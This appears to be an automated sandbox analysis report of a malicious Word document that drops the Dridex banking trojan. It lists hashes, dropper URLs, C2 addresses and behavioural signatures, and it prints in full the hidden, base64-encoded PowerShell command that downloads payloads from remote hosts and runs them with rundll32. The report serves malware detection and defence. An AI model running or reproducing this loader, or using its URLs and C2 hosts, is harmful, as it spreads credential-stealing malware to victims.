Order_Gift_Card.961396645.doc
General
Target
Filesize
Completed
Order_Gift_Card.961396645.doc
112KB
26-11-2020 12:49
Score
10
/10
MD5
SHA1
SHA256
7d46d3da88253c6abcc426ce9fb9e3c5
8dbd9d1bfe48c59b5704d6275f478e768230c81d
9ca6330ecc859154893e48bed53317005670c23c5d58bca8e991177cbb7324e9
Malware Config
Extracted
| Language | ps1 |
| Deobfuscated |
|
| URLs |
exe.dropper
https://burstner.clabris.se/ucjk7st.zip exe.dropperhttp://bespokeweddings.ie/k1c8dh4.rar exe.dropperhttps://conjurosdeamoryhechiceriaacacio.com/tjbdhdvi1.zip exe.dropperhttps://keitauniv.keita.ae/wchfvdsd7.rar exe.dropperhttps://cms.keita.ae/h0mqrz.rar exe.dropperhttps://airbornegroup.net/y461xrm.zip exe.dropperhttps://phones.pmrspain.com/xzeoxn8.rar exe.dropperhttp://oya.qa/lfonl5.rar |
Extracted
| Family | dridex |
| Botnet | 10555 |
| C2 |
194.225.58.216:443 178.254.40.132:691 216.172.165.70:3889 198.57.200.100:3786 |
| rc4.plain |
|
| rc4.plain |
|
Signatures 14
Filter: none
Discovery
-
Dridex
Description
Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.
Tags
-
Process spawned unexpected child processcmd.exe
Description
This typically indicates the parent process was compromised via an exploit or macro.
Reported IOCs
description pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3932 3508 cmd.exe -
Dridex Loader
Description
Detects Dridex both x86 and x64 loader in memory.
Tags
Reported IOCs
resource yara_rule behavioral2/memory/2248-17-0x0000000000DC0000-0x0000000000DFD000-memory.dmp dridex_ldr -
Blocklisted process makes network requestpowershell.exerundll32.exe
Reported IOCs
flow pid process 20 2128 powershell.exe 26 2248 rundll32.exe 27 2248 rundll32.exe -
Loads dropped DLLrundll32.exe
Reported IOCs
pid process 2248 rundll32.exe -
Checks installed software on the system
Description
Looks up Uninstall key entries in the registry to enumerate software on the system.
Tags
TTPs
-
Checks whether UAC is enabledrundll32.exe
Tags
TTPs
Reported IOCs
description ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA rundll32.exe -
Checks processor information in registryWINWORD.EXE
Description
Processor information is often read in order to detect sandboxing environments.
TTPs
Reported IOCs
description ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE -
Enumerates system info in registryWINWORD.EXE
TTPs
Reported IOCs
description ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListenerWINWORD.EXE
Reported IOCs
pid process 744 WINWORD.EXE 744 WINWORD.EXE -
Suspicious behavior: EnumeratesProcessespowershell.exe
Reported IOCs
pid process 2128 powershell.exe 2128 powershell.exe 2128 powershell.exe -
Suspicious use of AdjustPrivilegeTokenpowershell.exe
Reported IOCs
description pid process Token: SeDebugPrivilege 2128 powershell.exe -
Suspicious use of SetWindowsHookExWINWORD.EXE
Reported IOCs
pid process 744 WINWORD.EXE 744 WINWORD.EXE 744 WINWORD.EXE 744 WINWORD.EXE 744 WINWORD.EXE 744 WINWORD.EXE 744 WINWORD.EXE 744 WINWORD.EXE -
Suspicious use of WriteProcessMemorycmd.exepowershell.exerundll32.exe
Reported IOCs
description pid process target process PID 3932 wrote to memory of 1348 3932 cmd.exe msg.exe PID 3932 wrote to memory of 1348 3932 cmd.exe msg.exe PID 3932 wrote to memory of 2128 3932 cmd.exe powershell.exe PID 3932 wrote to memory of 2128 3932 cmd.exe powershell.exe PID 2128 wrote to memory of 1796 2128 powershell.exe rundll32.exe PID 2128 wrote to memory of 1796 2128 powershell.exe rundll32.exe PID 1796 wrote to memory of 2248 1796 rundll32.exe rundll32.exe PID 1796 wrote to memory of 2248 1796 rundll32.exe rundll32.exe PID 1796 wrote to memory of 2248 1796 rundll32.exe rundll32.exe
Processes 6
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEPID:744"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Order_Gift_Card.961396645.doc" /o ""Checks processor information in registryEnumerates system info in registrySuspicious behavior: AddClipboardFormatListenerSuspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.exePID:3932cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD JAAwADYAVAAgAD0AIAAgAFsAVAB5AHAAZQBdACgAIgB7ADEAfQB7ADAAfQB7ADMAfQB7ADIAfQAiACAALQBGACcAZQBtAC4AaQBvAC4ARABpAHIARQBDACcALAAnAHMAWQBTAHQAJwAsACcAUgBZACcALAAnAFQATwAnACkAOwAgACQAOQB5AGUASAA1AE0AIAA9AFsAdAB5AFAARQBdACgAIgB7ADUAfQB7ADkAfQB7ADMAfQB7ADIAfQB7ADcAfQB7ADQAfQB7ADAAfQB7ADgAfQB7ADEAfQB7ADYAfQAiACAALQBGACAAJwBPAEkAbgBUACcALAAnAEUAJwAsACcALgBuAEUAVAAuAHMARQAnACwAJwBzAFQAZQBNACcALAAnAGkAQwBFAFAAJwAsACcAcwAnACwAJwBSACcALAAnAFIAdgAnACwAJwBNAEEATgBBAEcAJwAsACcAWQAnACkAOwAkAFQAcAA5AHEAdgByAHAAPQAoACgAJwBDAGYAJwArACcAZgAnACkAKwAnAGUAZgAnACsAJwAyAG8AJwApADsAJABIAGgAYgBuAHEAZQBrAD0AJABKADAAeQAxAGsAbgBmACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABBAGUAZQAwADIAMwA3ADsAJABHAHEAeABiAGgANQBnAD0AKAAoACcAVQBfACcAKwAnAGEAJwApACsAJwB2ADYAJwArACcAZwBtACcAKQA7ACAAKAAgAEcAYwBpACAAIAAoACcAVgBhAHIAJwArACcASQBBAEIAbABFACcAKwAnADoAMAA2AFQAJwApACAAIAApAC4AVgBhAGwAdQBlADoAOgAiAEMAYABSAEUAYQBgAFQAYABlAEQASQByAEUAYwBUAE8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwAzACcAKwAnAFQATAAnACkAKwAoACcAWgBoACcAKwAnAG8AZAAxACcAKQArACgAJwBhACcAKwAnAGwAMwBUACcAKQArACgAJwBMAE4ANwAnACsAJwB6ACcAKwAnADgAcQAnACkAKwAnADMAJwArACgAJwA5ADMAVAAnACsAJwBMACcAKQApAC4AIgBSAEUAYABwAEwAYABBAGMAZQAiACgAKAAnADMAJwArACcAVABMACcAKQAsAFsAUwB0AFIAaQBuAGcAXQBbAGMASABBAHIAXQA5ADIAKQApACkAOwAkAE0AaQB1AHIAZQBpAGsAPQAoACgAJwBHADEAcQAnACsAJwBxAG4AJwApACsAJwByAHkAJwApADsAIAAkADkAeQBlAEgANQBNADoAOgAiAHMARQBDAHUAUgBgAEkAYABUAHkAcAByAE8AYABUAG8AYABjAE8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzADEAJwApACsAJwAyACcAKQA7ACQARwB3ADcAMQBlAG0AagA9ACgAKAAnAFUAJwArACcAZgA5ACcAKQArACgAJwBsAG0AdQAnACsAJwBuACcAKQApADsAJABHAGwAeAB4ADUAcAB5ACAAPQAgACgAKAAnAFUAbgByACcAKwAnAHQAaAAnACsAJwBwACcAKQArACcAcABhACcAKwAnAGYAJwApADsAJABVAHMAbgAxAGYAbABtAD0AKAAoACcASQAnACsAJwBpAGsAeAB4ACcAKQArACcAZgAwACcAKQA7ACQAUgAwAGsAXwBiADEAbQA9ACgAKAAnAFIAXwAnACsAJwBfACcAKQArACgAJwBlAGUANgAnACsAJwBoACcAKQApADsAJABQAHgAegB4ADgAegByAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AWgBoAG8AZAAxAGEAbAB7ADAAJwArACcAfQBOADcAegAnACsAJwA4AHEAMwA5AHsAJwArACcAMAB9ACcAKQAtAGYAIAAgAFsAYwBIAGEAUgBdADkAMgApACsAJABHAGwAeAB4ADUAcAB5ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABPADcAdgAzAGYAYwBhAD0AKAAnAFoAeQAnACsAKAAnAGkAZQB0ACcAKwAnAGYAMgAnACkAKQA7ACQAUwB4ADEAagB1AGUAbwA9AE4AZQBgAHcALQBvAGIAYABqAGUAYwB0ACAAbgBlAHQALgBXAGUAYgBjAGwAaQBFAE4AVAA7ACQARwBoAGsAZwAzAGgAZQA9ACgAKAAoACcAaAB0AHQAcABzACcAKwAnADoAJwApACsAJwBLACcAKwAnACkAJwArACgAKAAnACgAbQAnACsAJwBiADEAKQAoAEsAJwApACkAKwAnACkAJwArACcAKAAnACsAKAAnAG0AYgAnACsAJwAxACcAKQArACgAKAAnACkAKAAnACkAKQArACgAJwBiAHUAJwArACcAcgAnACkAKwAnAHMAJwArACgAJwB0AG4AJwArACcAZQAnACkAKwAoACcAcgAnACsAJwAuAGMAJwApACsAKAAnAGwAYQBiAHIAaQBzACcAKwAnAC4AJwArACcAcwBlACcAKwAnAEsAJwApACsAKAAoACcAKQAoACcAKQApACsAJwBtAGIAJwArACcAMQAnACsAKAAoACcAKQAoACcAKQApACsAKAAnAHUAYwBqAGsAJwArACcANwBzAHQALgAnACkAKwAoACcAegBpAHAAJwArACcAQAAnACkAKwAoACcAaAB0ACcAKwAnAHQAcAA6ACcAKQArACgAKAAnAEsAKQAnACkAKQArACgAKAAnACgAbQAnACsAJwBiADEAJwApACkAKwAoACgAJwApACgASwApACgAJwArACcAbQAnACsAJwBiADEAKQAnACsAJwAoAGIAZQAnACkAKQArACcAcwAnACsAJwBwACcAKwAoACcAbwAnACsAJwBrAGUAJwApACsAKAAnAHcAZQBkACcAKwAnAGQAJwApACsAJwBpAG4AJwArACgAJwBnAHMAJwArACcALgAnACkAKwAnAGkAJwArACgAKAAnAGUASwApACgAJwArACcAbQAnACkAKQArACcAYgAnACsAKAAoACcAMQAnACsAJwApACgAJwApACkAKwAoACcAawAnACsAJwAxAGMAOABkAGgAJwApACsAJwA0ACcAKwAoACcALgByACcAKwAnAGEAJwApACsAKAAnAHIAQABoAHQAdAAnACsAJwBwACcAKQArACgAKAAnAHMAJwArACcAOgBLACkAKABtACcAKwAnAGIAMQAnACsAJwApACgASwApACcAKQApACsAKAAoACcAKABtAGIAMQAnACsAJwApACgAJwArACcAYwBvACcAKQApACsAKAAnAG4AagAnACsAJwB1AHIAJwApACsAKAAnAG8AcwAnACsAJwBkAGUAYQAnACkAKwAoACcAbQBvACcAKwAnAHIAJwApACsAKAAnAHkAaAAnACsAJwBlAGMAJwApACsAKAAnAGgAaQAnACsAJwBjAGUAcgBpAGEAJwApACsAJwBhACcAKwAoACgAJwBjAGEAYwAnACsAJwBpAG8ALgBjAG8AJwArACcAbQBLACcAKwAnACkAJwApACkAKwAoACgAJwAoAG0AJwArACcAYgAxACcAKQApACsAJwApACcAKwAoACgAJwAoACcAKwAnAHQAagAnACkAKQArACgAJwBiACcAKwAnAGQAaABkAHYAaQAnACsAJwAxAC4AJwApACsAKAAnAHoAaQBwACcAKwAnAEAAaAAnACkAKwAoACgAJwB0AHQAcABzACcAKwAnADoASwApACgAbQAnACsAJwBiACcAKQApACsAKAAoACcAMQApACcAKwAnACgASwAnACsAJwApACgAbQAnACkAKQArACcAYgAnACsAKAAoACcAMQApACcAKQApACsAKAAoACcAKABrACcAKwAnAGUAaQB0ACcAKQApACsAKAAnAGEAJwArACcAdQBuAGkAdgAuACcAKwAnAGsAZQAnACkAKwAoACcAaQB0ACcAKwAnAGEAJwApACsAKAAnAC4AYQAnACsAJwBlAEsAJwApACsAKAAoACcAKQAoAG0AJwArACcAYgAxACcAKQApACsAKAAoACcAKQAoAHcAJwArACcAYwBoAGYAJwApACkAKwAoACcAdgBkAHMAJwArACcAZAAnACkAKwAnADcALgAnACsAJwByACcAKwAnAGEAJwArACcAcgAnACsAJwBAACcAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnAHMAJwArACgAKAAnADoASwAnACsAJwApACcAKQApACsAKAAoACcAKAAnACsAJwBtAGIAMQApACgAJwApACkAKwAnAEsAJwArACgAKAAnACkAKABtACcAKwAnAGIAMQApACcAKwAnACgAYwAnACkAKQArACcAbQAnACsAKAAnAHMALgBrACcAKwAnAGUAaQB0AGEAJwApACsAJwAuAGEAJwArACgAKAAnAGUAJwArACcASwApACgAbQBiADEAKQAoACcAKwAnAGgAJwArACcAMABtACcAKQApACsAKAAnAHEAcgAnACsAJwB6ACcAKQArACgAJwAuACcAKwAnAHIAYQAnACkAKwAnAHIAJwArACcAQAAnACsAJwBoACcAKwAoACgAJwB0AHQAcAAnACsAJwBzADoASwApACcAKwAnACgAbQBiADEAJwApACkAKwAoACgAJwApACgASwApACgAJwArACcAbQBiACcAKwAnADEAKQAoACcAKwAnAGEAJwApACkAKwAoACcAaQByACcAKwAnAGIAJwApACsAJwBvACcAKwAoACcAcgAnACsAJwBuAGUAZwAnACkAKwAnAHIAJwArACgAJwBvAHUAJwArACcAcAAnACkAKwAnAC4AJwArACcAbgAnACsAJwBlACcAKwAnAHQAJwArACgAKAAnAEsAKQAnACkAKQArACgAKAAnACgAbQAnACsAJwBiACcAKQApACsAJwAxACcAKwAoACgAJwApACgAeQA0ACcAKwAnADYAJwApACkAKwAnADEAeAAnACsAKAAnAHIAJwArACcAbQAuACcAKQArACcAegBpACcAKwAoACcAcABAACcAKwAnAGgAdAAnACkAKwAnAHQAJwArACcAcAAnACsAJwBzADoAJwArACgAKAAnAEsAKQAoACcAKwAnAG0AJwApACkAKwAnAGIAMQAnACsAKAAoACcAKQAoAEsAJwArACcAKQAoAG0AJwApACkAKwAoACgAJwBiADEAJwArACcAKQAoAHAAaAAnACsAJwBvACcAKwAnAG4AZQBzACcAKQApACsAJwAuAHAAJwArACgAJwBtAHIAcwBwAGEAJwArACcAaQAnACkAKwAnAG4AJwArACgAKAAnAC4AYwBvAG0ASwApACgAJwArACcAbQBiADEAKQAoAHgAegAnACsAJwBlACcAKwAnAG8AeAAnACkAKQArACcAbgA4ACcAKwAnAC4AJwArACcAcgBhACcAKwAnAHIAJwArACgAJwBAACcAKwAnAGgAdAB0AHAAOgAnACkAKwAnAEsAJwArACcAKQAnACsAKAAoACcAKAAnACsAJwBtAGIAJwApACkAKwAoACgAJwAxACkAKABLACkAKABtAGIAJwArACcAMQAnACsAJwApACgAJwArACcAbwAnACkAKQArACcAeQAnACsAKAAoACcAYQAuAHEAYQBLACcAKwAnACkAJwApACkAKwAoACgAJwAoAG0AYgAxACkAJwArACcAKAAnACkAKQArACgAJwBsAGYAbwAnACsAJwBuAGwANQAuAHIAJwApACsAJwBhAHIAJwApACkALgAiAFIAYABFAGAAUABsAGEAYwBFACIAKAAoACgAKAAoACcASwAnACsAJwApACgAJwApACkAKwAoACgAJwBtAGIAJwArACcAMQApACgAJwApACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwBoAHcAJwArACcAZQAnACkAKQBbADAAXQApAC4AIgBzAGAAcABsAGkAVAAiACgAJABPAGcAMgByADEAZwBpACAAKwAgACQASABoAGIAbgBxAGUAawAgACsAIAAkAEUAMgBiAGYAbABoAHUAKQA7ACQAQQBxAGQAMgB1AGgANgA9ACgAJwBZAHoAJwArACcAXwBuACcAKwAoACcAcgAnACsAJwBoAGQAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFYAMgByAHAAbQBnAGUAIABpAG4AIAAkAEcAaABrAGcAMwBoAGUAIAB8ACAAUwBvAFIAdABgAC0ATwBiAGoAZQBgAGMAVAAgAHsAZwBlAGAAVAAtAHIAYABBAGAATgBkAE8ATQB9ACkAewB0AHIAeQB7ACQAUwB4ADEAagB1AGUAbwAuACIARABgAG8AVwBuAGwAYABvAEEAYABkAEYAaQBMAGUAIgAoACQAVgAyAHIAcABtAGcAZQAsACAAJABQAHgAegB4ADgAegByACkAOwAkAEcAeQB2ADkAZAAyAGUAPQAoACcAUQBzACcAKwAoACcAdwBwACcAKwAnAGIANgAnACkAKwAnAGwAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAFAAeAB6AHgAOAB6AHIAKQAuACIAbABFAG4AYABnAFQAaAAiACAALQBnAGUAIAA0ADUANwA5ADIAKQAgAHsALgAoACcAcgAnACsAJwB1AG4AZABsAGwAMwAnACsAJwAyAC4AZQAnACsAJwB4AGUAJwApACAAJABQAHgAegB4ADgAegByACwAMAA7ACQAVABkAGQAYwBfADMAbQA9ACgAKAAnAEQAdABiACcAKwAnAGcANgAnACkAKwAnAHcAJwArACcAMAAnACkAOwBiAHIAZQBhAGsAOwAkAE4AOQB5AHcAeABvAGsAPQAoACcAUwAnACsAKAAnAGQAYwAnACsAJwB3AHEAdgBjACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABGAGsAMgBlAF8AcgBpAD0AKAAoACcARwB4ACcAKwAnAF8AJwApACsAKAAnAGkAJwArACcAYwBnADQAJwApACkAProcess spawned unexpected child processSuspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exePID:1348msg Admin /v Word experienced an error trying to open the file.
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePID:2128POwersheLL -w hidden -ENCOD JAAwADYAVAAgAD0AIAAgAFsAVAB5AHAAZQBdACgAIgB7ADEAfQB7ADAAfQB7ADMAfQB7ADIAfQAiACAALQBGACcAZQBtAC4AaQBvAC4ARABpAHIARQBDACcALAAnAHMAWQBTAHQAJwAsACcAUgBZACcALAAnAFQATwAnACkAOwAgACQAOQB5AGUASAA1AE0AIAA9AFsAdAB5AFAARQBdACgAIgB7ADUAfQB7ADkAfQB7ADMAfQB7ADIAfQB7ADcAfQB7ADQAfQB7ADAAfQB7ADgAfQB7ADEAfQB7ADYAfQAiACAALQBGACAAJwBPAEkAbgBUACcALAAnAEUAJwAsACcALgBuAEUAVAAuAHMARQAnACwAJwBzAFQAZQBNACcALAAnAGkAQwBFAFAAJwAsACcAcwAnACwAJwBSACcALAAnAFIAdgAnACwAJwBNAEEATgBBAEcAJwAsACcAWQAnACkAOwAkAFQAcAA5AHEAdgByAHAAPQAoACgAJwBDAGYAJwArACcAZgAnACkAKwAnAGUAZgAnACsAJwAyAG8AJwApADsAJABIAGgAYgBuAHEAZQBrAD0AJABKADAAeQAxAGsAbgBmACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABBAGUAZQAwADIAMwA3ADsAJABHAHEAeABiAGgANQBnAD0AKAAoACcAVQBfACcAKwAnAGEAJwApACsAJwB2ADYAJwArACcAZwBtACcAKQA7ACAAKAAgAEcAYwBpACAAIAAoACcAVgBhAHIAJwArACcASQBBAEIAbABFACcAKwAnADoAMAA2AFQAJwApACAAIAApAC4AVgBhAGwAdQBlADoAOgAiAEMAYABSAEUAYQBgAFQAYABlAEQASQByAEUAYwBUAE8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwAzACcAKwAnAFQATAAnACkAKwAoACcAWgBoACcAKwAnAG8AZAAxACcAKQArACgAJwBhACcAKwAnAGwAMwBUACcAKQArACgAJwBMAE4ANwAnACsAJwB6ACcAKwAnADgAcQAnACkAKwAnADMAJwArACgAJwA5ADMAVAAnACsAJwBMACcAKQApAC4AIgBSAEUAYABwAEwAYABBAGMAZQAiACgAKAAnADMAJwArACcAVABMACcAKQAsAFsAUwB0AFIAaQBuAGcAXQBbAGMASABBAHIAXQA5ADIAKQApACkAOwAkAE0AaQB1AHIAZQBpAGsAPQAoACgAJwBHADEAcQAnACsAJwBxAG4AJwApACsAJwByAHkAJwApADsAIAAkADkAeQBlAEgANQBNADoAOgAiAHMARQBDAHUAUgBgAEkAYABUAHkAcAByAE8AYABUAG8AYABjAE8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzADEAJwApACsAJwAyACcAKQA7ACQARwB3ADcAMQBlAG0AagA9ACgAKAAnAFUAJwArACcAZgA5ACcAKQArACgAJwBsAG0AdQAnACsAJwBuACcAKQApADsAJABHAGwAeAB4ADUAcAB5ACAAPQAgACgAKAAnAFUAbgByACcAKwAnAHQAaAAnACsAJwBwACcAKQArACcAcABhACcAKwAnAGYAJwApADsAJABVAHMAbgAxAGYAbABtAD0AKAAoACcASQAnACsAJwBpAGsAeAB4ACcAKQArACcAZgAwACcAKQA7ACQAUgAwAGsAXwBiADEAbQA9ACgAKAAnAFIAXwAnACsAJwBfACcAKQArACgAJwBlAGUANgAnACsAJwBoACcAKQApADsAJABQAHgAegB4ADgAegByAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AWgBoAG8AZAAxAGEAbAB7ADAAJwArACcAfQBOADcAegAnACsAJwA4AHEAMwA5AHsAJwArACcAMAB9ACcAKQAtAGYAIAAgAFsAYwBIAGEAUgBdADkAMgApACsAJABHAGwAeAB4ADUAcAB5ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABPADcAdgAzAGYAYwBhAD0AKAAnAFoAeQAnACsAKAAnAGkAZQB0ACcAKwAnAGYAMgAnACkAKQA7ACQAUwB4ADEAagB1AGUAbwA9AE4AZQBgAHcALQBvAGIAYABqAGUAYwB0ACAAbgBlAHQALgBXAGUAYgBjAGwAaQBFAE4AVAA7ACQARwBoAGsAZwAzAGgAZQA9ACgAKAAoACcAaAB0AHQAcABzACcAKwAnADoAJwApACsAJwBLACcAKwAnACkAJwArACgAKAAnACgAbQAnACsAJwBiADEAKQAoAEsAJwApACkAKwAnACkAJwArACcAKAAnACsAKAAnAG0AYgAnACsAJwAxACcAKQArACgAKAAnACkAKAAnACkAKQArACgAJwBiAHUAJwArACcAcgAnACkAKwAnAHMAJwArACgAJwB0AG4AJwArACcAZQAnACkAKwAoACcAcgAnACsAJwAuAGMAJwApACsAKAAnAGwAYQBiAHIAaQBzACcAKwAnAC4AJwArACcAcwBlACcAKwAnAEsAJwApACsAKAAoACcAKQAoACcAKQApACsAJwBtAGIAJwArACcAMQAnACsAKAAoACcAKQAoACcAKQApACsAKAAnAHUAYwBqAGsAJwArACcANwBzAHQALgAnACkAKwAoACcAegBpAHAAJwArACcAQAAnACkAKwAoACcAaAB0ACcAKwAnAHQAcAA6ACcAKQArACgAKAAnAEsAKQAnACkAKQArACgAKAAnACgAbQAnACsAJwBiADEAJwApACkAKwAoACgAJwApACgASwApACgAJwArACcAbQAnACsAJwBiADEAKQAnACsAJwAoAGIAZQAnACkAKQArACcAcwAnACsAJwBwACcAKwAoACcAbwAnACsAJwBrAGUAJwApACsAKAAnAHcAZQBkACcAKwAnAGQAJwApACsAJwBpAG4AJwArACgAJwBnAHMAJwArACcALgAnACkAKwAnAGkAJwArACgAKAAnAGUASwApACgAJwArACcAbQAnACkAKQArACcAYgAnACsAKAAoACcAMQAnACsAJwApACgAJwApACkAKwAoACcAawAnACsAJwAxAGMAOABkAGgAJwApACsAJwA0ACcAKwAoACcALgByACcAKwAnAGEAJwApACsAKAAnAHIAQABoAHQAdAAnACsAJwBwACcAKQArACgAKAAnAHMAJwArACcAOgBLACkAKABtACcAKwAnAGIAMQAnACsAJwApACgASwApACcAKQApACsAKAAoACcAKABtAGIAMQAnACsAJwApACgAJwArACcAYwBvACcAKQApACsAKAAnAG4AagAnACsAJwB1AHIAJwApACsAKAAnAG8AcwAnACsAJwBkAGUAYQAnACkAKwAoACcAbQBvACcAKwAnAHIAJwApACsAKAAnAHkAaAAnACsAJwBlAGMAJwApACsAKAAnAGgAaQAnACsAJwBjAGUAcgBpAGEAJwApACsAJwBhACcAKwAoACgAJwBjAGEAYwAnACsAJwBpAG8ALgBjAG8AJwArACcAbQBLACcAKwAnACkAJwApACkAKwAoACgAJwAoAG0AJwArACcAYgAxACcAKQApACsAJwApACcAKwAoACgAJwAoACcAKwAnAHQAagAnACkAKQArACgAJwBiACcAKwAnAGQAaABkAHYAaQAnACsAJwAxAC4AJwApACsAKAAnAHoAaQBwACcAKwAnAEAAaAAnACkAKwAoACgAJwB0AHQAcABzACcAKwAnADoASwApACgAbQAnACsAJwBiACcAKQApACsAKAAoACcAMQApACcAKwAnACgASwAnACsAJwApACgAbQAnACkAKQArACcAYgAnACsAKAAoACcAMQApACcAKQApACsAKAAoACcAKABrACcAKwAnAGUAaQB0ACcAKQApACsAKAAnAGEAJwArACcAdQBuAGkAdgAuACcAKwAnAGsAZQAnACkAKwAoACcAaQB0ACcAKwAnAGEAJwApACsAKAAnAC4AYQAnACsAJwBlAEsAJwApACsAKAAoACcAKQAoAG0AJwArACcAYgAxACcAKQApACsAKAAoACcAKQAoAHcAJwArACcAYwBoAGYAJwApACkAKwAoACcAdgBkAHMAJwArACcAZAAnACkAKwAnADcALgAnACsAJwByACcAKwAnAGEAJwArACcAcgAnACsAJwBAACcAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnAHMAJwArACgAKAAnADoASwAnACsAJwApACcAKQApACsAKAAoACcAKAAnACsAJwBtAGIAMQApACgAJwApACkAKwAnAEsAJwArACgAKAAnACkAKABtACcAKwAnAGIAMQApACcAKwAnACgAYwAnACkAKQArACcAbQAnACsAKAAnAHMALgBrACcAKwAnAGUAaQB0AGEAJwApACsAJwAuAGEAJwArACgAKAAnAGUAJwArACcASwApACgAbQBiADEAKQAoACcAKwAnAGgAJwArACcAMABtACcAKQApACsAKAAnAHEAcgAnACsAJwB6ACcAKQArACgAJwAuACcAKwAnAHIAYQAnACkAKwAnAHIAJwArACcAQAAnACsAJwBoACcAKwAoACgAJwB0AHQAcAAnACsAJwBzADoASwApACcAKwAnACgAbQBiADEAJwApACkAKwAoACgAJwApACgASwApACgAJwArACcAbQBiACcAKwAnADEAKQAoACcAKwAnAGEAJwApACkAKwAoACcAaQByACcAKwAnAGIAJwApACsAJwBvACcAKwAoACcAcgAnACsAJwBuAGUAZwAnACkAKwAnAHIAJwArACgAJwBvAHUAJwArACcAcAAnACkAKwAnAC4AJwArACcAbgAnACsAJwBlACcAKwAnAHQAJwArACgAKAAnAEsAKQAnACkAKQArACgAKAAnACgAbQAnACsAJwBiACcAKQApACsAJwAxACcAKwAoACgAJwApACgAeQA0ACcAKwAnADYAJwApACkAKwAnADEAeAAnACsAKAAnAHIAJwArACcAbQAuACcAKQArACcAegBpACcAKwAoACcAcABAACcAKwAnAGgAdAAnACkAKwAnAHQAJwArACcAcAAnACsAJwBzADoAJwArACgAKAAnAEsAKQAoACcAKwAnAG0AJwApACkAKwAnAGIAMQAnACsAKAAoACcAKQAoAEsAJwArACcAKQAoAG0AJwApACkAKwAoACgAJwBiADEAJwArACcAKQAoAHAAaAAnACsAJwBvACcAKwAnAG4AZQBzACcAKQApACsAJwAuAHAAJwArACgAJwBtAHIAcwBwAGEAJwArACcAaQAnACkAKwAnAG4AJwArACgAKAAnAC4AYwBvAG0ASwApACgAJwArACcAbQBiADEAKQAoAHgAegAnACsAJwBlACcAKwAnAG8AeAAnACkAKQArACcAbgA4ACcAKwAnAC4AJwArACcAcgBhACcAKwAnAHIAJwArACgAJwBAACcAKwAnAGgAdAB0AHAAOgAnACkAKwAnAEsAJwArACcAKQAnACsAKAAoACcAKAAnACsAJwBtAGIAJwApACkAKwAoACgAJwAxACkAKABLACkAKABtAGIAJwArACcAMQAnACsAJwApACgAJwArACcAbwAnACkAKQArACcAeQAnACsAKAAoACcAYQAuAHEAYQBLACcAKwAnACkAJwApACkAKwAoACgAJwAoAG0AYgAxACkAJwArACcAKAAnACkAKQArACgAJwBsAGYAbwAnACsAJwBuAGwANQAuAHIAJwApACsAJwBhAHIAJwApACkALgAiAFIAYABFAGAAUABsAGEAYwBFACIAKAAoACgAKAAoACcASwAnACsAJwApACgAJwApACkAKwAoACgAJwBtAGIAJwArACcAMQApACgAJwApACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwBoAHcAJwArACcAZQAnACkAKQBbADAAXQApAC4AIgBzAGAAcABsAGkAVAAiACgAJABPAGcAMgByADEAZwBpACAAKwAgACQASABoAGIAbgBxAGUAawAgACsAIAAkAEUAMgBiAGYAbABoAHUAKQA7ACQAQQBxAGQAMgB1AGgANgA9ACgAJwBZAHoAJwArACcAXwBuACcAKwAoACcAcgAnACsAJwBoAGQAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFYAMgByAHAAbQBnAGUAIABpAG4AIAAkAEcAaABrAGcAMwBoAGUAIAB8ACAAUwBvAFIAdABgAC0ATwBiAGoAZQBgAGMAVAAgAHsAZwBlAGAAVAAtAHIAYABBAGAATgBkAE8ATQB9ACkAewB0AHIAeQB7ACQAUwB4ADEAagB1AGUAbwAuACIARABgAG8AVwBuAGwAYABvAEEAYABkAEYAaQBMAGUAIgAoACQAVgAyAHIAcABtAGcAZQAsACAAJABQAHgAegB4ADgAegByACkAOwAkAEcAeQB2ADkAZAAyAGUAPQAoACcAUQBzACcAKwAoACcAdwBwACcAKwAnAGIANgAnACkAKwAnAGwAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAFAAeAB6AHgAOAB6AHIAKQAuACIAbABFAG4AYABnAFQAaAAiAC